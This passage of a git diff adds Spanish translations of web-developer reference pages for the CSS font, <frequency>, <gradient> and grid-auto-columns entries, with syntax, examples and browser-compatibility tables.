+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Apoyo básico</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Apoyo básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/font/index.html b/files/es/web/css/font/index.html
new file mode 100644
index 0000000000..a97451bd1d
--- /dev/null
+++ b/files/es/web/css/font/index.html
@@ -0,0 +1,123 @@
+---
+title: font
+slug: Web/CSS/font
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/font
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad {{ Cssxref("font") }} permite establecer de una sola vez los valores para todas las propiedades: {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }} y {{ Cssxref("font-family") }} en una hoja de estilo.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code>font:</code> [ &lt;<a href="es/CSS/font-style">font-style</a>&gt; || &lt;<a href="es/CSS/font-variant">font-variant</a>&gt; || &lt;<a href="es/CSS/font-weight">font-weight</a>&gt; ]? &lt;<a href="es/CSS/font-size">font-size</a>&gt; [ / &lt;<a href="es/CSS/line-height">line-height</a>&gt; ]? &lt;<a href="es/CSS/font-family">font-family</a>&gt;</p>
+
+<p><code>font:</code> <code>caption</code> | <code>icon</code> | <code>menu</code> | <code>message-box</code> | <code>small-caption</code> | <code>status-bar</code> | <code>-moz-window</code> | <code>-moz-document</code> | <code>-moz-workspace</code> | <code>-moz-desktop</code> | <code>-moz-info</code> | <code>-moz-dialog</code> | <code>-moz-button</code> | <code>-moz-pull-down-menu</code> | <code>-moz-list</code> | <code>-moz-field</code></p>
+
+<p><code>font:</code> {{ Cssxref("inherit") }}</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<p>La propiedad {{ Cssxref("font") }} establece los valores individuales tal como se especifica y a las otras su valor inicial.</p>
+
+<p>Ver las propiedades individuales: {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }} y {{ Cssxref("font-family") }}.</p>
+
+<p>También se pueden especificar los tipos de letra del sistema usando la propiedad {{ Cssxref("font") }},<em>en lugar</em> de tener que especificar cada propiedad individualmente:</p>
+
+<dl>
+ <dt>caption </dt>
+ <dd>el tipo de letra para elementos de control (por ejemplo: botones, cajas de selección, etc.).</dd>
+ <dt>icon </dt>
+ <dd>el tipo de letra usado para etiquetar iconos.</dd>
+ <dt>menu </dt>
+ <dd>el tipo de letra usado en menús (por ejemplo: barra de menú o menús desplegables).</dd>
+ <dt>message-box </dt>
+ <dd>el tipo de letra usado en cajas de diálogo.</dd>
+ <dt>small-caption </dt>
+ <dd>el tipo de letra usado para etiquetar pequeños controles (<small>small control</small>).</dd>
+ <dt>status-bar </dt>
+ <dd>el tipo de letra usado en la barra de estado de la ventana.</dd>
+ <dt>-moz-window </dt>
+ <dd> </dd>
+ <dt>-moz-document </dt>
+ <dd> </dd>
+ <dt>-moz-workspace </dt>
+ <dd> </dd>
+ <dt>-moz-desktop </dt>
+ <dd> </dd>
+ <dt>-moz-info </dt>
+ <dd> </dd>
+ <dt>-moz-dialog </dt>
+ <dd> </dd>
+ <dt>-moz-button </dt>
+ <dd> </dd>
+ <dt>-moz-pull-down-menu </dt>
+ <dd> </dd>
+ <dt>-moz-list </dt>
+ <dd> </dd>
+ <dt>-moz-field </dt>
+ <dd> </dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p><a href="/samples/cssref/font.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>/* Ajusta el tamaño de letra a 12pt y el alto de línea a 14pt. La familia tipográfica es sans-serif */
+p { font: 12pt/14pt sans-serif }
+</pre>
+
+<pre>/* Ajusta el tamaño de letra al 80% del elemento padre o al tamaño por defecto (si no hay elemento padre) y la familia tipográfica a sans-serif */
+p { font: 80% sans-serif }
+</pre>
+
+<pre>/* Ajusta el peso tipográfico a '''bold''' (negrita), el estilo de letra a ''italic'' (cursiva), el tamaño de letra a large (grande) y la familia a serif. */
+p { font: bold italic large serif }
+</pre>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Las partes {{ Cssxref("font-size") }} y {{ Cssxref("font-family") }} de {{ Cssxref("font") }} son obligatorias. Omitirlas causa un error de sintaxis y la declaración CSS será completamente ignorada.</p>
+
+<p>Si no se establece un valor concreto, las propiedades tomarán el valor por defecto: <code>normal</code>. Las propiedades que se pueden omitir son: ({{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }} y {{ Cssxref("line-height") }}).</p>
+
+<p>La propiedad {{ Cssxref("font-size-adjust") }} también se establece a su valor inicial (<code>none</code>) cuando se usa la propiedad general {{ Cssxref("font") }}.</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font">CSS 2</a> (para {{ Cssxref("font-size-adjust") }})</li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-ui/#font">css3-ui</a> (para los nuevos valores de fuentes de sistema])</li>
+</ul>
+
+<h2 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/css/frequency/index.html b/files/es/web/css/frequency/index.html
new file mode 100644
index 0000000000..24d700b2ff
--- /dev/null
+++ b/files/es/web/css/frequency/index.html
@@ -0,0 +1,161 @@
+---
+title: <frequency>
+slug: Web/CSS/frequency
+tags:
+  - CSS
+  - Presentación
+  - Referencia
+  - Tipos de datos CSS
+  - Unidad CSS
+  - Web
+translation_of: Web/CSS/frequency
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">El tipo de dato <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <code>&lt;frequency&gt;</code> denota una dimensión en frecuencia, como el tono de una voz hablando.</span> Consisste en un valor {{cssxref("&lt;number&gt;")}} seguido inmediatamente por la unidad. Como en cualquier dimensión CSS, no hay espacio entre la unidad literal y el número.</p>
+
+<p>Las siguientes unidades deben ser usadas:</p>
+
+<ul>
+ <li><code><a id="Hz">Hz</a></code>, que representa una frecuencia en Hertz. Ejemplos: <code>0Hz</code>, <code>1500Hz</code>, <code>10000Hz</code>.</li>
+ <li><code><a id="kHz">kHz</a></code>, que representa una frecuencia en kilohertz. Ejemplos: <code>0kHz</code>, <code>1.5kHz</code>, <code>10kHz</code>.</li>
+</ul>
+
+<p>Aunque todas las unidades representen la misma frecuencia para el valor <code>0</code>, la unidad no debe ser omitida en ese caso, puesto que no es un valor {{cssxref("length")}}: <code>0</code>, no es válido, y no representa <code>0Hz</code>, <code>0kHz</code>. Aunque las unidades sean insensibles a mayúsculas en CSS, es buena práctica usar una H mayúscula para <code>Hz</code> y <code>kHz</code>, como indica el <a class="external" href="https://es.wikipedia.org/wiki/Sistema_Internacional_de_Unidades" title="http://en.wikipedia.org/wiki/International_System_of_Units">SI</a>, siendo <a class="external" href="http://en.wikipedia.org/wiki/Heinrich_Hertz" title="http://en.wikipedia.org/wiki/Heinrich_Hertz">Hertz</a> un apellido.</p>
+
+<h2 id="Ejemplos"><span>Ejemplos</span></h2>
+
+<table class="standard-table">
+ <caption>Valores de frecuencia permitidos</caption>
+ <thead>
+  <tr>
+   <th scope="col">Código</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>12Hz</code></td>
+   <td>Entero positivo.</td>
+  </tr>
+  <tr>
+   <td><code>-456kHz</code></td>
+   <td>Entero negativo.</td>
+  </tr>
+  <tr>
+   <td><code>4.3Hz</code></td>
+   <td>No entero.</td>
+  </tr>
+  <tr>
+   <td><code>14KhZ</code></td>
+   <td>La unidad es insensible al uso de mayúsculas, aunque no se recomienda una representación que no esté acorde al SI.</td>
+  </tr>
+  <tr>
+   <td><code>+0Hz</code></td>
+   <td>Cero, con un símbolo <code>+ y la unidad</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-0kHz</code></td>
+   <td>Cero, con un símbolo <code>-</code> y la unidad (Aunque no sea común, es un valor permitido).</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Código</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <caption>Valores de frecuencia no permitidos</caption>
+ <tbody>
+  <tr>
+   <td><code>12.0</code></td>
+   <td>Éste es un tipo {{cssxref("&lt;number&gt;")}}, no un tipo &lt;frequency&gt;, debe tener una unidad.</td>
+  </tr>
+  <tr>
+   <td><code>7 Hz</code></td>
+   <td>No se permite espacio entre el número {{cssxref("&lt;number&gt;")}} y la unidad.</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td>El valor cero puede ser escrito sin unidad solo para tipo {{cssxref("&lt;length&gt;")}}, no para &lt;frequency&gt;.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#frequency', '&lt;frequency&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Este tipo de dato fue introducido inicialmente en <a class="external" href="http://www.w3.org/TR/CSS2/" title="http://www.w3.org/TR/CSS2/">CSS Nivel 2</a> para el ya obsoleto <a href="/en/CSS/Aural" title="aural">grupo de merios aural</a>, donde era usado para definir el tono de la voz. Dicho grupo fue descontinuado desde entonces, pero el tipo de datos <code>&lt;frequency&gt;</code> ha sido reintroducido en CSS3, aunque ninguna propiedad CSS lo usa por el momento.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Algunas versiones de Opera pueden tener (partialmente) soporte para el grupo de medios aural obsoleto, y con soporte al tipo de datos <code>&lt;frequency&gt;</code> a través de la propiedad de tono.</p>
diff --git a/files/es/web/css/gradiente/index.html b/files/es/web/css/gradiente/index.html
new file mode 100644
index 0000000000..ae187f2521
--- /dev/null
+++ b/files/es/web/css/gradiente/index.html
@@ -0,0 +1,100 @@
+---
+title: <gradient>
+slug: Web/CSS/Gradiente
+tags:
+  - CSS
+  - CSS tipo de datos
+  - Degradado
+  - Diseño
+  - Gradiente
+  - Referencia
+  - graficos
+translation_of: Web/CSS/gradient
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El tipo de datos <a href="/en-US/docs/CSS" title="CSS">CSS</a> <code>&lt;gradient&gt;</code> indica un tipo de {{cssxref("&lt;image&gt;")}} que consiste de una transición progresiva entre dos o más colores (Degradado).</p>
+
+<p>{{EmbedInteractiveExample("pages/css/type-gradient.html")}}</p>
+
+<p>Un gradiente de CSS no es un {{cssxref("&lt;color&gt;")}} pero tampoco es una imagen con <a href="/es/docs/Web/CSS/image#no_intrinsic" title="CSS/image#no_intrinsic">dimensiones intrínsecas</a>; es decir, que no tiene tamaño natural o preferido, ni una relación preferida. Su tamaño concreto coincidirá con los elementos a los que se aplica.</p>
+
+<p><strong>Funciones de las Gradientes</strong></p>
+
+<p>Hay tres tipos de gradientes de color:</p>
+
+<ul>
+ <li id="linear-gradient"><em><strong>Linear gradients</strong>(gradiente lineal)</em>, generados por la función {{cssxref("linear-gradient", "linear-gradient()")}}, donde el color se desvanece suavemente a lo largo de una línea imaginaria.
+
+  <pre class="brush: html" style="display: none;">A rainbow made from a gradient
+</pre>
+
+  <pre class="brush: css">body {
+background: -moz-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+background: -webkit-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+background: -ms-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+background: -o-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+background: linear-gradient(to right,red,orange,yellow, green, blue,indigo,violet);
+}</pre>
+
+  <p>{{ EmbedLiveSample('linear-gradient', 600, 20) }}</p>
+ </li>
+ <li id="radial-gradient"><em><strong>Radial gradient </strong>(gradientes radiales)</em>, generados por la función {{cssxref("radial-gradient", "radial-gradient()")}}. Cuanto más lejos de un origen sea un punto, más lejos del color original será.
+  <pre class="brush: html" style="display: none;">Radial gradient
+  </pre>
+
+  <pre class="brush: css">body {
+background: -moz-radial-gradient(red, yellow, rgb(30, 144, 255)) repeat scroll 0% 0% transparent;
+background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+</pre>
+
+  <p>{{ EmbedLiveSample('radial-gradient', 600, 20) }}</p>
+ </li>
+ <li id="repeating-gradient"><em><strong>Repeating gradient </strong>(gradientes de repetición), </em>donde se repiten gradientes lineales o radiales tanto como sea necesario para llenar toda la caja.
+  <pre class="brush: html" style="display: none;">Repeating gradient
+</pre>
+
+  <pre class="brush: css">body {
+background: -moz-repeating-linear-gradient(top left -45deg, red, red 5px, white 5px, white 10px);
+background: repeating-linear-gradient(to top left, red, red 5px, white 5px, white 10px);
+}  </pre>
+
+  <p>{{ EmbedLiveSample('repeating-gradient', 600, 20) }}</p>
+ </li>
+</ul>
+
+<h2 id="Interpolación">Interpolación</h2>
+
+<p>Al igual que con cualquier caso de interpolación de colores, los gradientes se calculan en el espacio de color alfa-premultiplicado. Esto impide que sombras de gris inesperadas aparezcan cuando el color o la opacidad están variando.  (debe tener en cuenta que los navegadores mas antiguos no tienen incorporado este tipo de comportamient cuando utiliza la palabra clave "<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#transparent_keyword">transparent </a>" del inglés transparente ( para más información hacer clic en el link))</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>Cada tipo de gradiente tiene una matriz de compatibilidad diferente. Por favor, consulte cada artículo individualmente.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients" title="Using gradients">Usando Gradientes CSS</a>, {{cssxref("&lt;gradient&gt;")}}, {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+</ul>
diff --git a/files/es/web/css/grid-auto-columns/index.html b/files/es/web/css/grid-auto-columns/index.html
new file mode 100644
index 0000000000..18d241f7b6
--- /dev/null
+++ b/files/es/web/css/grid-auto-columns/index.html
@@ -0,0 +1,209 @@
+---
+title: grid-auto-columns
+slug: Web/CSS/grid-auto-columns
+tags:
+  - CSS
+  - CSS Grid
+  - Experimental
+  - Propiedades CSS
+  - Referencia
+translation_of: Web/CSS/grid-auto-columns
+---
+<p>La propiedad de css <strong><code>grid-auto-columns</code></strong>   especifíca el tamaño de una columna de cuadrícula creada implícitamente {{glossary("grid tracks", "track")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-auto-columns.html")}}</div>
+
+<p class="hidden">La version original interactiva de este artículo se guarda en un repositorio GitHub . If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<p>Si un item grid se posiciona dentro de una columna que no tenga un tamaño explícito para  {{cssxref("grid-template-columns")}}, implícito{{glossary("grid", "grid")}}las pistan se crean para sostenerlo. Esto puede suceder posicionándose explícitamente en una columna que está fuera de rango, o mediante el algoritmo de auto colocación creando columnas adicionales.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Keyword values */
+grid-auto-columns: min-content;
+grid-auto-columns: max-content;
+grid-auto-columns: auto;
+
+/* &lt;length&gt; values */
+grid-auto-columns: 100px;
+grid-auto-columns: 20cm;
+grid-auto-columns: 50vmax;
+
+/* &lt;percentage&gt; values */
+grid-auto-columns: 10%;
+grid-auto-columns: 33.3%;
+
+/* &lt;flex&gt; values */
+grid-auto-columns: 0.5fr;
+grid-auto-columns: 3fr;
+
+/* minmax() values */
+grid-auto-columns: minmax(100px, auto);
+grid-auto-columns: minmax(max-content, 2fr);
+grid-auto-columns: minmax(20%, 80vmax);
+
+/* fit-content() values */
+grid-auto-columns: fit-content(400px);
+grid-auto-columns: fit-content(5cm);
+grid-auto-columns: fit-content(20%);
+
+/* multiple track-size values */
+grid-auto-columns: min-content max-content auto;
+grid-auto-columns: 100px 150px 390px;
+grid-auto-columns: 10% 33.3%;
+grid-auto-columns: 0.5fr 3fr 1fr;
+grid-auto-columns: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax);
+grid-auto-columns: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px);
+
+/* Global values */
+grid-auto-columns: inherit;
+grid-auto-columns: initial;
+grid-auto-columns: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Es una longitud no negativa.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Es un valor no negativo {{cssxref("percentage", "&lt;percentage&gt;")}} en relación con el tamaño del bloque del contenedor de la grilla. Si el tamaño de bloque del contenedor de cuadrícula es indefinido, el valor porcentual se trata como automático.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Es una dimensión -valor- no negativa con la unidad <code>fr</code> especificando el 'factor flex' del espacio entre dos celdas. Si el espacio entre dos celdas está designado como <code>&lt;flex&gt;</code> tomará una porción del espacio remanente entre celdas en proporción a su 'factor flex' - o flex factor <code>fr</code>-.</dd>
+ <dd>Si aparece en una función <code>minmax()</code> implica un mínimo automático (ejemplo: <code>minmax(auto, &lt;flex&gt;)</code>).</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Es una keyword o palabra clave que representa el contenido máximo de los items que ocupan el espacio de la grid o cuadrilla.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Es una keyword o palabra clave que representa el contenido mínimo de los items que ocupan el espacio de la grid o cuadrilla.</dd>
+ <dt><code>minmax(min, max)</code></dt>
+ <dd>Es una notación funcional (una función) que define un rango de tamaño mayor que o igual a <em>min</em> y menor que o igual a <em>max</em>. Si <em>max</em> es menor que <em>min</em>, entonces <em>max</em> será ignorado y la función será tratada como un <em>min</em>. Si establecemos un valor máximo como <code>&lt;flex&gt;</code>, se define el 'factor flex' del espacio entre las celdas del grid. Si establecemos el valor mínimo como <code>&lt;flex&gt;</code>, se tratará como cero, o contenido mínimo si el contenedor de la grid/cuadrilla tiene la restricción de valor mínimo (min-content).</dd>
+ <dt><code>fit-content(<em>argument</em>)</code></dt>
+ <dd>Representa la fórmula <code>min(max-content, max(auto, <var>argument</var>))</code>, que se calcula similar a <code>auto</code> (por ejemplo: <code>minmax(auto, max-content)</code>), excepto que el <em>track size</em> o espacio entre celdas es mayor que el auto mínimo.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Es una palabra reservada -o keyword- que es idéntica a contenido máximo si es un máximo. Como mínimo representa el máximo valor mínimo aceptado (según lo especificado por{{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de la cuadrícula que ocupan el espacio de la cuadrícula.</dd>
+ <dd>
+ <p class="note">Note: Los valores de tamaño <code>auto</code>  (y solo los <code>auto</code>) pueden ser estirados por las propiedades {{cssxref("align-content")}} y {{cssxref("justify-content")}} .</p>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css; highlight[6] notranslate">#grid {
+  height: 100px;
+  display: grid;
+  grid-template-areas: "a a";
+  grid-gap: 10px;
+  grid-auto-columns: 200px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="Resultado">Resultado:</h3>
+
+<p>{{EmbedLiveSample("Example", "410px", "100px")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-columns", "grid-auto-columns")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera de datos estructurados. Si deseas contribuir conn los datos échale un vistazo a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y solicita descargar el contenido. {{Compat("css.properties.grid-auto-columns")}}</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid")}}</li>
+ <li>Guía de Layout tipo Grid (en inglés): <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout#Sizing_rows_in_the_implicit_grid">Auto-placement in grid layout - sizing rows in the implicit grid</a></em></li>
+ <li>Video tutorial (inglés): <em><a href="http://gridbyexample.com/video/series-auto-placement-order/">Introducing Grid auto-placement and order</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><strong><a href="/en-US/docs/Web/CSS/Reference">R</a>eferencia a  CSS</strong></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
